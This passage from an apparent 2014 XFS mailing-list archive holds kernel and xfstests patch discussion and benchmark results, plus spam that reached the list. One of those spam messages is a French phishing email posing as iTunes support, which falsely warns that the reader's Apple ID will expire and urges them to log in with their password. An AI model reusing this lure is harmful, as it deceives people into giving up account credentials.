we were consistent, that model would >> suggest the write verifier corruption message could go and we'd embed >> corruption errors along with the other associated EFSCORRUPTED returns >> (at least where the resulting message is appropriate) in >> xfs_mount_validate_sb(). >> >> Either way seems reasonable to me. I guess if all the remaining >> situations are in fact real corruption situations, the point of >> detection approach is probably more resilient. It would still be nice to >> make the verifiers consistent in that though. ;) > > And the conclusion to this discussion is ...? I think Brian has some valid points, I'll take another look at it. Thanks, -Eric > Cheers, > > Dave. > From david@fromorbit.com Thu Feb 6 22:42:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 30F1D7F51 for ; Thu, 6 Feb 2014 22:42:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B2A35AC001 for ; Thu, 6 Feb 2014 20:41:59 -0800 (PST) X-ASG-Debug-ID: 1391748116-04cb6c6de2191510001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 0CcM6LXyt8guTwZj for ; Thu, 06 Feb 2014 20:41:57 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhkJAEZj9FJ5LGaB/2dsb2JhbABZgwy6OoVQgQkXdIIlAQEEATocIwULCAMYCSUPBSUDIROHfQfNJBcWjmcHgySBFASYKpIigW+BUig Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 07 Feb 2014 15:11:55 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WBdGD-0001Sf-9f; Fri, 07 Feb 2014 15:41:53 +1100 Date: Fri, 7 Feb 2014 15:41:53 +1100 From: Dave Chinner To: Wang Shilong Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, jbacik@fb.com Subject: Re: [PATCH v3] Btrfs: add regression test for running snapshot and send concurrently Message-ID: <20140207044153.GF13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3] Btrfs: add regression test for running snapshot and send concurrently References: <1391703008-2322-1-git-send-email-wangshilong1991@gmail.com> <20140206224337.GB13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1391748116 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144907 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 07, 2014 at 12:18:31PM +0800, Wang Shilong wrote: > > Hi Dave, > > > On Fri, Feb 07, 2014 at 12:10:08AM +0800, Wang Shilong wrote: > >> +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ > >> + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 > >> + > >> +do_snapshots & > >> +snapshots_pid=$! > >> + > >> +$BTRFS_UTIL_PROG send $SCRATCH_MNT/snap_1 > /dev/null 2>&1 || echo "btrfs send failed" > > > > Let's stop this anti-pattern before it takes hold. > > > > If there's output from the send command it should be > > filtered and captured in the golden image. Hence any deviation > > caused by errors is automatically flagged as an error. > > > > That's the whole point of using golden images for capturing errors - > > you don't need to capture return values from binaries and it > > guarantees that users are informed about failures through error > > messages. IOWs: > > > > $BTRFS_UTIL_PROG send $SCRATCH_MNT/snap_1 | _btrfs_send_filter > > > > is what you should be doing here. > > I knew what you mean here, in fact, i did this on purpose. Ok, then you need to explain why you did it on purpose with a comment. It's just as important to explain the reason for doing something in test code as it is in the kernel code. i.e. so when we are looking at the test in 5 years time we know the reason for it being that way. > for this test failure, btrfs-prog did not output failure > information from the beginning. I have nothing good to say about that state of affairs, but... > So to make older progs can also > detect the test failure, i dropped into this way. .. it's going to have to stay like it. Please insert an appropriately sarcastic comment about the usefulness of a silent send command here, because if I write it I'm going to offend lots of people. :/ Cheers, Dave. -- Dave Chinner david@fromorbit.com From noreply@ita-engine.net Fri Feb 7 00:04:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.7 required=5.0 tests=DATE_IN_PAST_06_12, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 374357F53 for ; Fri, 7 Feb 2014 00:04:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1CB88304071 for ; Thu, 6 Feb 2014 22:04:27 -0800 (PST) X-ASG-Debug-ID: 1391753064-04cb6c6de31931f0001-NocioJ Received: from server7.ita-engine.net (server7.ita-engine.net [149.210.145.248]) by cuda.sgi.com with ESMTP id KCrBl6eAa1cGiEsU for ; Thu, 06 Feb 2014 22:04:24 -0800 (PST) X-Barracuda-Envelope-From: noreply@ita-engine.net X-Barracuda-Apparent-Source-IP: 149.210.145.248 Received: from 30seconds.ita-engine.net (server6.ita-engine.net [204.188.195.192]) by server7.ita-engine.net (Postfix) with ESMTP id 3EA9E3C0331 for ; Fri, 7 Feb 2014 07:04:22 +0100 (CET) Date: Thu, 6 Feb 2014 22:11:42 +0100 To: xfs@oss.sgi.com From: "video@30seconds.it" Reply-To: "video@30seconds.it" Subject: sei invisibile sul web? Message-ID: X-ASG-Orig-Subj: sei invisibile sul web? X-Priority: 5 X-Mailer: Apple Mail (2.1283) X-MC-version: 4 X-MessageID: 14 X-ListMember: xfs@oss.sgi.com Precedence: bulk Bounces-To: noreply@ita-engine.net MIME-Version: 1.0 (Apple Message framework v1283) Content-Type: multipart/alternative; boundary="b1_f37a27471c81d7d8338f939cf8f1a0cb" X-Barracuda-Connect: server7.ita-engine.net[149.210.145.248] X-Barracuda-Start-Time: 1391753064 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.11 X-Barracuda-Spam-Status: No, SCORE=1.11 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DATE_IN_PAST_06_12, DATE_IN_PAST_06_12_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144909 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date 0.00 HTML_MESSAGE BODY: HTML included in message 1.10 DATE_IN_PAST_06_12_2 DATE_IN_PAST_06_12_2 --b1_f37a27471c81d7d8338f939cf8f1a0cb Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Thirty Seconds Informativa ai sensi del Decr.Lgs Privacy n.196/2003:=20 I dati in nostro possesso vengono impiegati con principali scopi amministrativi, fiscali e di comunicazione aziendale comunque nei termini previsti dalla normativa vigente. In ogni momento l'interessato potr=C3=A0 avvalersi dei diritti e nelle modalit=C3=A0 previs= te della Legge. Il titolare del trattamento =C3=A8 THIRTY SECONDS. Indirizzo e-mail: webmktg@30seconds.it Questo messaggio di posta elettronica contiene informazioni di carattere confidenziale rivolte esclusivamente al destinatario sopra indicato. E' vietato l'uso, la diffusione, distribuzione o riproduzione da parte di ogni altra persona.=20 Nel caso aveste ricevuto questo messaggio di posta elettronica per errore, siete pregati di segnalarlo immediatamente al mittente e distruggere quanto ricevuto (compresi i file allegati) senza farne copia. Qualsivoglia utilizzo non autorizzato del contenuto di questo messaggio costituisce violazione dell'obbligo di non prendere cognizione della corrispondenza tra altri soggetti, salvo pi=C3=B9 grave illecito, ed espone il responsabile alle relative conseguenze. Confidential Notice: This e-mail transmission may contain legally privileged and/or confidential information. Please do not read it if you are not the intended recipient(S). Any use, distribution, reproduction or disclosure by any other person is strictly prohibited. If you have received this e-mail in error, please notify the sender and destroy the original transmission and its attachments without reading or saving it in any manner. =20 Questo messaggio =C3=A8 stato inviato a xfs@oss.sgi.com da video@30seconds= .it Se volete rimuovervi=0A selezionate qui. =20 --b1_f37a27471c81d7d8338f939cf8f1a0cb Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable =0A=0A=0A=0AThirty Seconds=0A=0A=0A
=0A =0A =0A=0A=0A
=0A=
=0A
=0A=0A
=0A
=0A
=0A= =0A =0A =0A=0A=0A
=0A=0A=0AInformativa ai sensi del Decr.Lgs Privacy n.196/2003: =0A=0AI dati= in nostro possesso vengono impiegati con principali scopi amministrativi, = fiscali e di comunicazione aziendale comunque nei termini previsti dalla no= rmativa vigente. In ogni momento l'interessato potr=C3=A0 avvalersi dei dir= itti e nelle modalit=C3=A0 previste della Legge. Il titolare del trattament= o =C3=A8 THIRTY SECONDS. Indirizzo e-mail: webmktg@30seconds.it Questo mess= aggio di posta elettronica contiene informazioni di carattere confidenziale= rivolte esclusivamente al destinatario sopra indicato. E' vietato l'uso, l= a diffusione, distribuzione o riproduzione da parte di ogni altra persona. = =0A=0ANel caso aveste ricevuto questo messaggio di posta elettronica per er= rore, siete pregati di segnalarlo immediatamente al mittente e distruggere = quanto ricevuto (compresi i file allegati) senza farne copia. Qualsivoglia = utilizzo non autorizzato del contenuto di questo messaggio costituisce viol= azione dell'obbligo di non prendere cognizione della corrispondenza tra alt= ri soggetti, salvo pi=C3=B9 grave illecito, ed espone il responsabile alle = relative conseguenze.=0A=0AConfidential Notice:=0AThis e-mail transmission = may contain legally privileged and/or confidential information. Please do n= ot read it if you are not the intended recipient(S). Any use, distribution,= reproduction or disclosure by any other person is strictly prohibited. If = you have received this e-mail in error, please notify the sender and destro= y the original transmission and its attachments without reading or saving i= t in any manner.=0A=0A
=0A

Questo messaggio =C3=A8 stato inviato a xfs@oss.sgi.com da video@3= 0seconds.it

Se volete rimuovervi selezionate q= ui.

=0A
powered by M@ilCentral<= /div>=0A --b1_f37a27471c81d7d8338f939cf8f1a0cb-- From noreply@ita-engine.net Fri Feb 7 00:15:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.7 required=5.0 tests=DATE_IN_PAST_06_12, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 899247F53 for ; Fri, 7 Feb 2014 00:15:45 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7CD6730407A for ; Thu, 6 Feb 2014 22:15:42 -0800 (PST) X-ASG-Debug-ID: 1391753740-04cb6c6de0193640001-w1Z2WR Received: from server2.ita-engine.net ([199.102.76.198]) by cuda.sgi.com with ESMTP id WAqGoHXlmz8yD8yj for ; Thu, 06 Feb 2014 22:15:40 -0800 (PST) X-Barracuda-Envelope-From: noreply@ita-engine.net X-Barracuda-Apparent-Source-IP: 199.102.76.198 Received: from 30seconds.ita-engine.net (server6.ita-engine.net [204.188.195.192]) by server2.ita-engine.net (Postfix) with ESMTP id 12D9C11A8C6 for ; Fri, 7 Feb 2014 07:53:11 +0100 (CET) Date: Thu, 6 Feb 2014 22:23:00 +0100 To: linux-xfs@oss.sgi.com From: "video@30seconds.it" Reply-To: "video@30seconds.it" Subject: sei invisibile sul web? Message-ID: <570ccd3b0558d03ae50d99079963006b@localhost.localdomain> X-ASG-Orig-Subj: sei invisibile sul web? X-Priority: 5 X-Mailer: Apple Mail (2.1283) X-MC-version: 4 X-MessageID: 14 X-ListMember: linux-xfs@oss.sgi.com Precedence: bulk Bounces-To: noreply@ita-engine.net MIME-Version: 1.0 (Apple Message framework v1283) Content-Type: multipart/alternative; boundary="b1_570ccd3b0558d03ae50d99079963006b" X-Barracuda-Connect: UNKNOWN[199.102.76.198] X-Barracuda-Start-Time: 1391753740 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.71 X-Barracuda-Spam-Status: No, SCORE=1.71 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, DATE_IN_PAST_06_12, DATE_IN_PAST_06_12_2, HTML_MESSAGE, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144909 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 1.10 DATE_IN_PAST_06_12_2 DATE_IN_PAST_06_12_2 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 --b1_570ccd3b0558d03ae50d99079963006b Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Thirty Seconds Informativa ai sensi del Decr.Lgs Privacy n.196/2003:=20 I dati in nostro possesso vengono impiegati con principali scopi amministrativi, fiscali e di comunicazione aziendale comunque nei termini previsti dalla normativa vigente. In ogni momento l'interessato potr=C3=A0 avvalersi dei diritti e nelle modalit=C3=A0 previs= te della Legge. Il titolare del trattamento =C3=A8 THIRTY SECONDS. Indirizzo e-mail: webmktg@30seconds.it Questo messaggio di posta elettronica contiene informazioni di carattere confidenziale rivolte esclusivamente al destinatario sopra indicato. E' vietato l'uso, la diffusione, distribuzione o riproduzione da parte di ogni altra persona.=20 Nel caso aveste ricevuto questo messaggio di posta elettronica per errore, siete pregati di segnalarlo immediatamente al mittente e distruggere quanto ricevuto (compresi i file allegati) senza farne copia. Qualsivoglia utilizzo non autorizzato del contenuto di questo messaggio costituisce violazione dell'obbligo di non prendere cognizione della corrispondenza tra altri soggetti, salvo pi=C3=B9 grave illecito, ed espone il responsabile alle relative conseguenze. Confidential Notice: This e-mail transmission may contain legally privileged and/or confidential information. Please do not read it if you are not the intended recipient(S). Any use, distribution, reproduction or disclosure by any other person is strictly prohibited. If you have received this e-mail in error, please notify the sender and destroy the original transmission and its attachments without reading or saving it in any manner. =20 Questo messaggio =C3=A8 stato inviato a linux-xfs@oss.sgi.com da=0Avideo@3= 0seconds.it Se volete rimuovervi=0A selezionate qui. =20 --b1_570ccd3b0558d03ae50d99079963006b Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable =0A=0A=0A=0AThirty Seconds=0A=0A=0A
=0A =0A =0A=0A=0A
=0A=
=0A
=0A=0A
=0A
=0A
=0A= =0A =0A =0A=0A=0A
=0A=0A=0AInformativa ai sensi del Decr.Lgs Privacy n.196/2003: =0A=0AI dati= in nostro possesso vengono impiegati con principali scopi amministrativi, = fiscali e di comunicazione aziendale comunque nei termini previsti dalla no= rmativa vigente. In ogni momento l'interessato potr=C3=A0 avvalersi dei dir= itti e nelle modalit=C3=A0 previste della Legge. Il titolare del trattament= o =C3=A8 THIRTY SECONDS. Indirizzo e-mail: webmktg@30seconds.it Questo mess= aggio di posta elettronica contiene informazioni di carattere confidenziale= rivolte esclusivamente al destinatario sopra indicato. E' vietato l'uso, l= a diffusione, distribuzione o riproduzione da parte di ogni altra persona. = =0A=0ANel caso aveste ricevuto questo messaggio di posta elettronica per er= rore, siete pregati di segnalarlo immediatamente al mittente e distruggere = quanto ricevuto (compresi i file allegati) senza farne copia. Qualsivoglia = utilizzo non autorizzato del contenuto di questo messaggio costituisce viol= azione dell'obbligo di non prendere cognizione della corrispondenza tra alt= ri soggetti, salvo pi=C3=B9 grave illecito, ed espone il responsabile alle = relative conseguenze.=0A=0AConfidential Notice:=0AThis e-mail transmission = may contain legally privileged and/or confidential information. Please do n= ot read it if you are not the intended recipient(S). Any use, distribution,= reproduction or disclosure by any other person is strictly prohibited. If = you have received this e-mail in error, please notify the sender and destro= y the original transmission and its attachments without reading or saving i= t in any manner.=0A=0A
=0A

Questo messaggio =C3=A8 stato inviato a linux-xfs@oss.sgi.com da v= ideo@30seconds.it

Se volete rimuovervi selezionate q= ui.

=0A
powered by M@ilCentral<= /div>=0A --b1_570ccd3b0558d03ae50d99079963006b-- From iTunes-Assistance@id-headers-jhg5454.fr Fri Feb 7 01:59:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 282AE7F53 for ; Fri, 7 Feb 2014 01:59:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A4B65AC002 for ; Thu, 6 Feb 2014 23:59:45 -0800 (PST) X-ASG-Debug-ID: 1391759980-04cb6c6de0195a90001-NocioJ Received: from WD192.1host.co.il (*.sivangroup.com [195.190.23.10]) by cuda.sgi.com with ESMTP id QvhGE57lWtFypM5w for ; Thu, 06 Feb 2014 23:59:40 -0800 (PST) X-Barracuda-Envelope-From: iTunes-Assistance@id-headers-jhg5454.fr X-Barracuda-Apparent-Source-IP: 195.190.23.10 Received: from WD192 ([127.0.0.1]) by WD192.1host.co.il with Microsoft SMTPSVC(7.5.7601.17514); Fri, 7 Feb 2014 09:59:33 +0200 Date: Fri, 07 Feb 2014 11:59:33 +0400 Subject: Avis iTunes : 58476840018-0214 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Avis iTunes : 58476840018-0214 MIME-Version: 1.0 Content-type: text/html; charset=iso-8859-1 From: iTunes - Assistance Message-ID: X-OriginalArrivalTime: 07 Feb 2014 07:59:33.0163 (UTC) FILETIME=[895FBFB0:01CF23DA] X-Barracuda-Connect: *.sivangroup.com[195.190.23.10] X-Barracuda-Start-Time: 1391759980 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144911 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message iTunes Fr


Bonjour,

Nous vous informons que votre ID iTunes arrive a expiration dans moins 48 heures.
Il est impératif d'effectuer une vérification de vos informations a présent ,sans quoi votre ID sera détruit.
Cliquez simplement sur le lien ci-dessous et ouvrez une session a l'aide de votre Apple ID et de votre mot de passe. 


                                        Verifiez maintenant.


Pourqoui ce courier électronique vous a-t-il été envoyé ? L'envoi de ce courrier électronique s'applique lorsque la date d'expiration de votre compte arrive à terme. Pour plus d'informations, consultez la rubrique Questions et réponses .
 
 
Ceci est un message généré automatiquement. Merci de ne pas repondre.



Cordialement,
L'Assistance client Apple
From rathamahata@gmail.com Fri Feb 7 03:40:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2A9977F51 for ; Fri, 7 Feb 2014 03:40:58 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0ED5A8F8050 for ; Fri, 7 Feb 2014 01:40:54 -0800 (PST) X-ASG-Debug-ID: 1391766049-04cbb00c29193b10001-NocioJ Received: from mail-lb0-f169.google.com (mail-lb0-f169.google.com [209.85.217.169]) by cuda.sgi.com with ESMTP id ouYlsxG2hrzVAHSa (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 07 Feb 2014 01:40:50 -0800 (PST) X-Barracuda-Envelope-From: rathamahata@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.217.169 X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.169] Received: by mail-lb0-f169.google.com with SMTP id q8so2481914lbi.0 for ; Fri, 07 Feb 2014 01:40:49 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.169] X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.169] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=WvBXqBwUN8Ba8gkEtPQO4UE6bHaUmIsFaZRHj0pFu/M=; b=B6vNAMId8DL7lkEsioR8lWIKHCONAtOxRtRWrxG4N3ScoXottxUU2PYqmktrZgDVwi qF0+mg5wve7TprSaFsTzwdgr/1vLteRvJbMavxb9Y5LUelkVIl3tHcfTrtV0qIenAOca 1sJR4VoJ06t/GxQCISr5hXt1/uuz0YKQYcvaIuW6ZelI5gWCPy4hVoPuq0bmz4xPmsUe 2q3+kCalY7aN0W4d7PISpPq0aNcau8r0YYKlK/wlP7hPV60cqa4JXYIkESlLaWN/XNTb IovPkelWORsy7co2P3Ug4j7F5zimOcSELEOuYL0V3fIV15y8P4X6oVIDzJZcN0zH/w3W 26LQ== X-Received: by 10.152.87.228 with SMTP id bb4mr9406691lab.15.1391766049195; Fri, 07 Feb 2014 01:40:49 -0800 (PST) MIME-Version: 1.0 Received: by 10.112.130.197 with HTTP; Fri, 7 Feb 2014 01:40:29 -0800 (PST) In-Reply-To: <20140206225132.GE13647@dastard> References: <20140204172402.380571745@bombadil.infradead.org> <20140206225132.GE13647@dastard> From: Sergey Meirovich Date: Fri, 7 Feb 2014 11:40:29 +0200 Message-ID: Subject: Re: [PATCH 0/3] support appending AIO writes To: Dave Chinner X-ASG-Orig-Subj: Re: [PATCH 0/3] support appending AIO writes Cc: Christoph Hellwig , linux-fsdevel , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lb0-f169.google.com[209.85.217.169] X-Barracuda-Start-Time: 1391766050 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144912 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 7 February 2014 00:51, Dave Chinner wrote: > On Thu, Feb 06, 2014 at 06:29:11PM +0200, Sergey Meirovich wrote: >> On 5 February 2014 16:52, Sergey Meirovich wrote: >> > Hi Christoph, >> > >> > Thanks a lot! Applied your patches on top of 3.13.1 and they indeed >> > make a huge difference. >> > >> > >> > Append AIO >> > >> > chunk size w/o patches with patches >> > =================================================== >> > 4k 6.8834 Mb/sec 1762.15 IOps 31.542 Mb/sec 8074.75 IOps >> > 8k 15.321 Mb/sec 1961.12 IOps 62.873 Mb/sec 8047.71 IOps >> > 16k 28.257 Mb/sec 1808.46 IOps 139.35 Mb/sec 8918.45 IOps >> >> And with simple wrapper around io_submit() difference for 4 k is even >> more impressive than with sysbench: >> >> without patches: >> ===================== >> bandwidth (MiB/s): 11.89 >> IOps: 3044.58 >> >> with patches: >> ===================== >> bandwidth (MiB/s): 118.16 >> IOps: 30250.17 > > Thanks for providing numbers, Sergey. It's clear that we need to > make this change from them. Can I add a "Tested-by: Sergey Meirovich > " to the patches? Sure, Dave. Please do. From ddiss@suse.de Fri Feb 7 04:31:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9686E7F51 for ; Fri, 7 Feb 2014 04:31:08 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 224CBAC001 for ; Fri, 7 Feb 2014 02:31:04 -0800 (PST) X-ASG-Debug-ID: 1391769063-04cb6c6de31994c0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id eJjku4DoCoyroc3q (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Feb 2014 02:31:03 -0800 (PST) X-Barracuda-Envelope-From: ddiss@suse.de X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id B652CABA6; Fri, 7 Feb 2014 10:31:02 +0000 (UTC) Date: Fri, 7 Feb 2014 11:31:00 +0100 From: David Disseldorp To: Dave Chinner Cc: xfs@oss.sgi.com, dsterba@suse.cz, linux-btrfs@vger.kernel.org Subject: Re: [PATCH v2 3/3] btrfs/035: add new clone overwrite regression test Message-ID: <20140207113100.680c258e@plati.site> X-ASG-Orig-Subj: Re: [PATCH v2 3/3] btrfs/035: add new clone overwrite regression test In-Reply-To: <20140206224509.GC13647@dastard> References: <1391695154-2039-1-git-send-email-ddiss@suse.de> <1391695154-2039-4-git-send-email-ddiss@suse.de> <20140206224509.GC13647@dastard> X-Mailer: Claws Mail 3.9.2 (GTK+ 2.24.22; x86_64-suse-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1391769063 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144913 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, 7 Feb 2014 09:45:09 +1100, Dave Chinner wrote: > Not exactly what I intended. > > If echo fails, it will output some kind of error message, and that > will cause the golden image mismatch. Fair enough. I'll resend with the two ' || echo "failed to create src"' checks removed. Thanks again for the review Dave. Cheers, David From ddiss@suse.de Fri Feb 7 04:35:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A94947F51 for ; Fri, 7 Feb 2014 04:35:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 88FD3304066 for ; Fri, 7 Feb 2014 02:35:47 -0800 (PST) X-ASG-Debug-ID: 1391769345-04cbb00c29195280001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id IZh7zsvtDreNe1e6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Feb 2014 02:35:46 -0800 (PST) X-Barracuda-Envelope-From: ddiss@suse.de X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 3190CABBC; Fri, 